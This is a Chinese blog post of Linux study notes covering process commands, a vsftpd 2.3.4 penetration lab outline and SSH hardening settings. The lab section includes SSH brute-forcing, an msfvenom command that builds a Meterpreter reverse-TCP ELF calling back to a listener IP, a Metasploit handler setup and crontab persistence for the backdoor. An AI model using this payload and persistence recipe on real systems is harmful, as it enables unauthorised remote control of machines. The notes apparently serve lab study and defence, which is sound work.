首页 > 系统相关 >进程管理_Linux渗透_安全加固

进程管理_Linux渗透_安全加固

时间:2024-07-03 14:00:26浏览次数:18  
标签:etc 渗透 linux 192.168 密码 ssh Linux 加固 进程

爆破工具:Hydra、Medeusa、msf

        重要单词:session,Venom(毒液) 


top        任务管理器

pgrep  查找运行的进程

        -l 列出进程名称

pkill 终止进程  跟进程名称

        -9 强制

kill -9 PID

sleep 暂停


vsftpd 2.3.4-笑脸漏洞利用

        1.收集信息

        2.暴力破解

                ssh_login

        3.登录

        4.上传后门脚本

                

生成payload

                msfvenom -p选择载荷

                                 -f选择文件格式exe/elf

                                lhost 监听地址

                                lport 监听端口

                                -o 输出文件名

                                -h 帮助

                        例:msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.10.224 lport=4444 -f elf  -o /root/pay

                scp 上传文件

                可能会有权限不足的问题导致无法运行,需要获得执行权限

                运行木马,要绝对路径

5.侦听脚本

        └─# msfconsole -q                                                                                      
                msf6 > use exploit/multi/handler 

                 > set payload linux/x86/meterpreter/reverse_tcp
6.制定脚本自动运行计划任务

        crontab 计划任务

                        -e 编辑计划任务

                        -l 显示计划任务

        EDITOR=vim crontab -e 

        -》# m h  dom mon dow   command
                min,每小时第几分钟

                hour ,每天第几小时

                day of month 每月第几天

                day of week 每周第几天

                全*为每分钟运行一次


background 可以把进程放入后台

show sessions 显示进程

sessions x进入进程x


linux安全加固         

        /etc/ssh/sshd_config ssh配置文件       

        1.修改默认端口

               Port

        2.禁止root远程登录

                PermitRootLogin no

        3.设置密码输入次数

                MaxAuthTries 2

        4.设置远程白名单

                AllowUsers zhangsan@192.168.10.1

        5.登录时间限制

                LoginGraceTime 60

        6.终端超时退出

                /etc/profile

                export TMOUT=30 超过30s自动断开连接

        7.定期更改密码

                /etc/login.defs        

                PASS_MAX_DAYS 修改新建用户默认密码使用时间·

                chage -l 列出用户密码使用天数

                chage -M 30 UserName 修改用户最大密码使用期限

        8.添加ssh公钥认证

                使用 MobaXterm

                rm -rf /home/mobaxterm/.ssh/* 删除当前密钥

                ssh-keygen 生成密钥

                ssh-copy-id root@192.168.10.143 上传公钥

                win_cmd

                使用公钥时禁用密码认证

                        PermitEmptyPasswords no

标签:etc,渗透,linux,192.168,密码,ssh,Linux,加固,进程
From: https://blog.csdn.net/m0_71332744/article/details/140116495

相关文章

  • Linux服务器安装MySQL数据库
    首先yum安装的版本比较低,所以先下载一个yum比较新的库文件点击就是下载到本地,如果想在Linux里面下载就需要右击复制链接1.安装MySQL:sudoaptupdatesudoaptinstallmysql-server2.可以通过sudosystemctlstatusmysql命令查看MySQL是否已启动3.设置登录密码......
  • linux安装docker
    以下命令均以root权限执行卸载docker旧版本yumremovedockerdocker-clientdocker-client-latestdocker-commondocker-latestdocker-latest-logrotatedocker-logrotatedocker-selinuxdocker-engine-selinuxdocker-engine安装相关工具类yuminstall-yyum-utilsdev......
  • Linux多进程和多线程(一)-进程的概念和创建
    进程进程的概念进程的特点如下进程和程序的区别LINUX进程管理getpid()getppid()进程的地址空间虚拟地址和物理地址进程状态管理进程相关命令pstoppstreekill进程的创建并发和并行fork()父子进程执行不同的任务创建多个进程进程的退出exit()和_exit()exit()函数......
  • Linux:文件系统与日志分析
    一、block与inode1.1、概述文件是存储在硬盘上的,硬盘的最小存储单位叫做“扇区”(sector),每个扇区存储512字节。一般连续八个扇区组成一个"块”(block),一个块是4K大小,是文件存取的最小单位。文件数据包括实际数据与元信息(类似文件属性)。文件数据存储在“块"中,存储文件元......
  • 丝滑解决ImportError: /usr/lib/x86_64-linux-gnu/libstdc++.so.6: version `GLIBCXX_
    基础环境:MacOSm1、python=3.9前情提要:在Anaconda终端运行代码的时候,显示报错:importError:/usr/lib/x86_64-linux-gnu/libstdc++.so.6:version`GLIBCXX_3.4.29'notfound1问题分析:根据提示是/usr/lib/x86_64-linux-gnu/路径下的libstdc++.so.6缺少版本GLIBCXX_3.4.29解......
  • Linux安装jdk
    Linux安装jdk一、下载JDKhttps://www.oracle.com/java/technologies/downloads/#java17​​上传到服务器并解压缩​​二、修改配置文件vim/etc/profile##在末尾处添加exportJAVA_HOME=/usr/local/jdk/jdk-17.0.11exportPATH=$PATH:$JAVA_HOME/bin;exportCLASSPAT......
  • linux安装telnet服务(Centos7.9环境)
    使用telnet临时替代ssh安装配置接上一篇OpenssH升级至9.8P1教程发出后有不少朋友反馈在升级过程中服务器连接断开无法远程,对租用云服务器的朋友们不是太友好,后续只能联系云厂商或者通过购买云服务器账号后台登陆操作浪费时间,现在我们可以采用安装telnet服务临时替代ssh远程登......
  • Docker alpine linux 修改时区
    Dockeralpinelinux修改时区官方解决方案如果已经在容器中#安装timezone数据包apkaddtzdata#防止添加失败,可以加上-U参数,更新仓库缓存apkadd-Utzdatals/usr/share/zoneinfocp/usr/share/zoneinfo/Asia/Shanghai/etc/localtime#指定为上海时区echo"A......
  • Linux MISC 驱动实验学习
    LinuxMISC驱动实验学习misc的意思是混合、杂项的,因此MISC驱动也叫做杂项驱动,也就是当我们板子上的某些外设无法进行分类的时候就可以使用MISC驱动。MISC设备驱动简介MISC设备驱动就用于解决此问题。MISC设备会自动创建cdev,不需要像我们以前那样手动创建,因此采用MI......
  • 面试题:Linux 系统基础提问 (一)
    Linux系统中如何管理用户和组?Linux系统中用户和组的管理通常包括以下几个方面:1、创建用户和组:使用useradd和groupadd命令创建新用户和新组。2、修改用户和组信息:使用usermod和groupmod命令来修改用户和组的信息。3、删除用户和组:使用userdel和groupdel命令来删除用户和组。......